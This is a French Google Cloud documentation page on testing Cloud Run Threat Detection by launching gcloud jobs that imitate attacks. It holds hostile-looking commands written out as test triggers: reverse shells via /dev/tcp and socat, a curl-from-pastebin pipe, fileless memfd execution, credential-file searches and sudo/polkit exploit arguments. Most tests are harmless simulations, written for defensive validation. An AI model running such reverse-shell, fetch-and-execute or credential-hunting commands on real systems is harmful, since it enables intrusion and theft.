Tester la détection des menaces Cloud Run

Cette page explique comment vérifier que Cloud Run Threat Detection fonctionne en déclenchant intentionnellement des détecteurs et en vérifiant les résultats. Cloud Run Threat Detection est un service intégré de Security Command Center.

Avant de commencer

Pour détecter les menaces potentielles qui pèsent sur vos services et tâches Cloud Run, assurez-vous que le service Cloud Run Threat Detection est activé dans Security Command Center. Certains détecteurs sont désactivés par défaut. Pour les tester détecteurs, vous devez d'abord les activer.

Définir des variables d'environnement

Pour tester les détecteurs, utilisez la Google Cloud console et Cloud Shell. Vous pouvez définir des variables d'environnement dans Cloud Shell pour faciliter l'exécution des commandes. Vous utiliserez ces variables pour tester tous les détecteurs.

  1. Accédez à la Google Cloud console.

    Accédez à la Google Cloud console

  2. Sélectionnez le projet contenant la tâche Cloud Run que vous souhaitez utiliser pour le test.

  3. Cliquez sur Activer Cloud Shell.

  4. Dans Cloud Shell, définissez les variables d'environnement :

    1. Définissez le projet et la région dans lesquels vous allez créer des tâches de test.

      export PROJECT=PROJECT_ID
      export REGION=REGION
      

Une fois les variables d'environnement définies, vous pouvez continuer à suivre les instructions pour tester les détecteurs.

Command and Control: Steganography Tool Detected

Pour déclencher un Command and Control: Steganography Tool Detected (aperçu) résultat, exécutez un fichier binaire avec des fonctionnalités de manipulation de fichiers compatibles avec les outils de stéganographie dans un conteneur. Cet exemple copie /bin/ls et le renomme steghide.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Command and Control: Steganography Tool Detected.

Credential Access: Find Google Cloud Credentials

Pour déclencher un résultat Credential Access: Find Google Cloud Credentials, exécutez un fichier binaire capable de rechercher le contenu d'un fichier dans un conteneur. Cet exemple copie /bin/ls, le renomme grep et l'exécute avec des arguments suspects.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un Credential Access: Find Google Cloud Credentials résultat.

Credential Access: GPG Key Reconnaissance

Pour déclencher un résultat Credential Access: GPG Key Reconnaissance, exécutez un outil de recherche avec des arguments suspects.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Credential Access: GPG Key Reconnaissance.

Credential Access: Search Private Keys or Passwords

Pour déclencher un résultat Credential Access: Search Private Keys or Passwords, exécutez un outil de recherche avec des arguments suspects.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Credential Access: Search Private Keys or Passwords.

Defense Evasion: Base64 ELF File Command Line

Pour déclencher un résultat Defense Evasion: Base64 ELF File Command Line, exécutez base64 avec des arguments d'en-tête ELF encodés.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test doit créer deux résultats Defense Evasion: Base64 ELF File Command Line.

Defense Evasion: Base64 Encoded Python Script Executed

Pour déclencher un résultat Defense Evasion: Base64 Encoded Python Script Executed, exécutez echo avec une commande Python encodée.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Defense Evasion: Base64 Encoded Python Script Executed.

Defense Evasion: Base64 Encoded Shell Script Executed

Pour déclencher un résultat Defense Evasion: Base64 Encoded Shell Script Executed, exécutez echo avec une commande shell encodée.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Defense Evasion: Base64 Encoded Shell Script Executed.

Defense Evasion: Launch Code Compiler Tool In Container

Pour déclencher un résultat Defense Evasion: Launch Code Compiler Tool In Container (aperçu), exécutez un outil de compilation.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Defense Evasion: Launch Code Compiler Tool In Container.

Execution: Added Malicious Binary Executed

Pour déclencher un résultat Execution: Added Malicious Binary Executed, ajoutez un fichier binaire malveillant (EICAR) à votre conteneur et exécutez-le.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Execution: Added Malicious Binary Executed.

Execution: Added Malicious Library Loaded

Pour déclencher un résultat Execution: Added Malicious Library Loaded, ajoutez une bibliothèque malveillante dans votre conteneur et chargez-la. Cet exemple met à jour le fichier /tmp/test_mal_lib avec une bibliothèque malveillante simulée, puis la charge à l'aide de mmap. Le chargement de la bibliothèque d'un fichier existant est inattendu, car le fichier ne se trouvait pas dans l'image de conteneur d'origine et la bibliothèque est un fichier de test EICAR, classé comme malveillant par le renseignement sur les menaces.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   cat << 'EOF2' > JOB_NAME.sh
   apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
   echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
   cat << 'EOF' > /tmp/loader.c
   #include <fcntl.h>
   #include <sys/mman.h>
   #include <sys/stat.h>
   #include <unistd.h>
   #include <stdlib.h>
   int main(int argc, char *argv[]) {
      int fd = open(argv[1], O_RDONLY);
      if (fd == -1) return 1;
      struct stat sb;
      if (fstat(fd, &sb) == -1) return 1;
      void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
      if (addr == MAP_FAILED) return 1;
      write(1, addr, sb.st_size);
      munmap(addr, sb.st_size);
      close(fd);
      return 0;
   }
   EOF
   gcc /tmp/loader.c -o /tmp/loader
   sleep 30
   /tmp/loader /tmp/test_mal_lib
   sleep 10
   EOF2
   ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
   rm -f JOB_NAME.sh
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Execution: Added Malicious Library Loaded.

Execution: Container Escape

Pour déclencher un résultat Execution: fuite du conteneur, exécutez un outil simulant un comportement d'échappement de conteneur.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Execution: Container Escape.

Execution: Fileless Execution in /memfd:

Pour déclencher un résultat Execution: Fileless Execution in /memfd:, exécutez un processus à partir du système de fichiers en mémoire /memfd: à l'aide de Python.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   PYTHON_CODE=$(cat <<EOF
   import os,sys
   f = open('/bin/ls','rb')
   execdata = f.read()
   f.close()
   fd = os.memfd_create('', 0)
   fname = '/proc/self/fd/{}'.format(fd)
   f = open(fname,'wb')
   f.write(execdata)
   f.close()
   args = ['/bin']
   os.execve(fname, args, os.environ)
   EOF
   )
   B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image python:latest \
      --command=bash \
      --args="-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Execution: Fileless Execution in /memfd:.

Execution: Kubernetes Attack Tool Execution

Pour déclencher un résultat Execution: Kubernetes Attack Tool Execution, exécutez un programme qui correspond à un outil d'attaque connu.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Execution: Kubernetes Attack Tool Execution.

Execution: Local Reconnaissance Tool Execution

Pour déclencher un résultat Execution: Local Reconnaissance Tool Execution, exécutez un programme qui correspond à un outil de reconnaissance.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Execution: Local Reconnaissance Tool Execution.

Execution: Modified Malicious Binary Executed

Pour déclencher un résultat Execution: Modified Malicious Binary Executed, modifiez un fichier binaire pour qu'il corresponde à une signature malveillante connue (EICAR).

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Execution: Modified Malicious Binary Executed.

Execution: Modified Malicious Library Loaded

Pour déclencher un résultat Execution: Modified Malicious Library Loaded, modifiez un fichier existant avec une bibliothèque malveillante dans votre conteneur et chargez-le. Cet exemple met à jour le fichier /etc/issue avec une bibliothèque malveillante simulée, puis la charge à l'aide de mmap. Le chargement de la bibliothèque d'un fichier existant est inattendu, car la bibliothèque est un fichier de test EICAR , classé comme malveillant par le renseignement sur les menaces.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   cat << 'EOF2' > JOB_NAME.sh
   apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
   echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
   cat << 'EOF' > /tmp/loader.c
   #include <fcntl.h>
   #include <sys/mman.h>
   #include <sys/stat.h>
   #include <unistd.h>
   #include <stdlib.h>
   int main(int argc, char *argv[]) {
      int fd = open(argv[1], O_RDONLY);
      if (fd == -1) return 1;
      struct stat sb;
      if (fstat(fd, &sb) == -1) return 1;
      void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
      if (addr == MAP_FAILED) return 1;
      write(1, addr, sb.st_size);
      munmap(addr, sb.st_size);
      close(fd);
      return 0;
   }
   EOF
   gcc /tmp/loader.c -o /tmp/loader
   sleep 30
   /tmp/loader /etc/issue
   sleep 10
   EOF2
   ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
   rm -f JOB_NAME.sh
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Execution: Modified Malicious Library Loaded.

Execution: Netcat Remote Code Execution In Container

Pour déclencher un événement Execution: Netcat Remote Code Execution In Container, exécutez netcat avec des arguments suspects.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un Execution: Netcat Remote Code Execution In Container résultat.

Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076)

Pour déclencher un résultat Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076), exécutez un script simulant l'exploit.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076).

Execution: Possible Remote Command Execution Detected

Pour déclencher un résultat Execution: Possible Remote Command Execution Detected (aperçu), exécutez une commande tentant une connexion à distance.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un Execution: Possible Remote Command Execution Detected résultat.

Execution: Program Run with Disallowed HTTP Proxy Env

Pour déclencher un résultat Execution: Program Run with Disallowed HTTP Proxy Env, exécutez un programme avec une variable d'environnement de proxy incorrecte.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un Execution: Program Run with Disallowed HTTP Proxy Env résultat.

Execution: Socat Reverse Shell Detected

Pour déclencher un résultat Execution: Socat Reverse Shell Detected, établissez un shell inversé à l'aide de l'utilitaire socat.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
   B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args="-c","sleep 60; apt-get update -qq && apt-get install socat -y -qq && echo $B64_SOCAT | base64 -d | bash" \
      --execute-now \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Execution: Socat Reverse Shell Detected.

Execution: Suspicious OpenSSL Shared Object Loaded

Pour déclencher un résultat Execution: Suspicious OpenSSL Shared Object Loaded, exécutez openssl avec une bibliothèque suspecte.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Execution: Suspicious OpenSSL Shared Object Loaded.

Exfiltration: Launch Remote File Copy Tools In Container

Pour déclencher un résultat Exfiltration: Launch Remote File Copy Tools In Container, exécutez un outil de copie à distance.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un Exfiltration: Launch Remote File Copy Tools In Container résultat.

Impact: Detect Malicious Cmdlines

Pour déclencher un Impact: Detect Malicious Cmdlines (aperçu) résultat, exécutez un nom de commande suspect (IPFS).

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Impact: Detect Malicious Cmdlines.

Impact: Remove Bulk Data From Disk

Pour déclencher un résultat Impact: Remove Bulk Data From Disk, exécutez un outil tel que shred.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Impact: Remove Bulk Data From Disk.

Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol

Pour déclencher un résultat Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol, exécutez un fichier binaire avec des arguments semblables à ceux utilisés par les logiciels de minage de cryptomonnaie communiquant à l'aide du protocole Stratum.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol résultat.

Script malveillant exécuté

Pour déclencher un résultat de script malveillant exécuté, exécutez un script qui imite un comportement malveillant.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat de script malveillant exécuté.

URL malveillante observée

Pour déclencher un résultat d'URL malveillante observée, exécutez un fichier binaire et fournissez une URL malveillante comme argument.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test déclenche un résultat d'URL malveillante observée.

Élévation des privilèges : utilisation abusive de Sudo pour l'élévation des privilèges (CVE-2019-14287)

Pour déclencher un résultat Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287), exécutez le fichier binaire sudo avec le paramètre -u#-1.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287).

Élévation des privilèges : élévation potentielle des privilèges de Sudo (CVE-2021-3156)

Pour déclencher un résultat Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156), exécutez le fichier binaire sudo avec le paramètre -s et un paramètre se terminant par ``.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156).

Élévation des privilèges : faille liée à l'élévation des privilèges locaux de Polkit (CVE-2021-4034)

Pour déclencher un résultat Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034), exécutez un fichier binaire pkexec avec la variable d'environnement GCONV_PATH définie en tant qu'utilisateur non root.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034).

Interface système inversée

Pour déclencher un résultat d'interface système inversée, démarrez un fichier binaire avec une redirection stdin vers un socket connecté TCP.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat d'interface système inversée.

Exécution : image Docker de minage de cryptomonnaie

Pour déclencher un résultat Execution: Cryptomining Docker Image, déployez un conteneur à l'aide d'un nom d'image Docker associé à un logiciel de minage de cryptomonnaie.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image docker.io/security-test-DO-NOT-USE/xmrig:latest \
       --command sh \
       --wait || true
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Execution: Cryptomining Docker Image. Notez que le déploiement de la tâche échouera, car l'image n'existe pas, mais le résultat sera quand même généré.

Impact : commandes de minage de cryptomonnaie

Pour déclencher un résultat Impact: Cryptomining Commands, exécutez une commande avec des arguments semblables à ceux d'un logiciel de minage de cryptomonnaie connu.

Créez et exécutez la tâche Cloud Run :

   JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command xmrig \
       --wait || true
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Cette procédure de test crée un résultat Impact: Cryptomining Commands.

Élévation des privilèges : SetIAMPolicy du compte de service Compute Engine par défaut

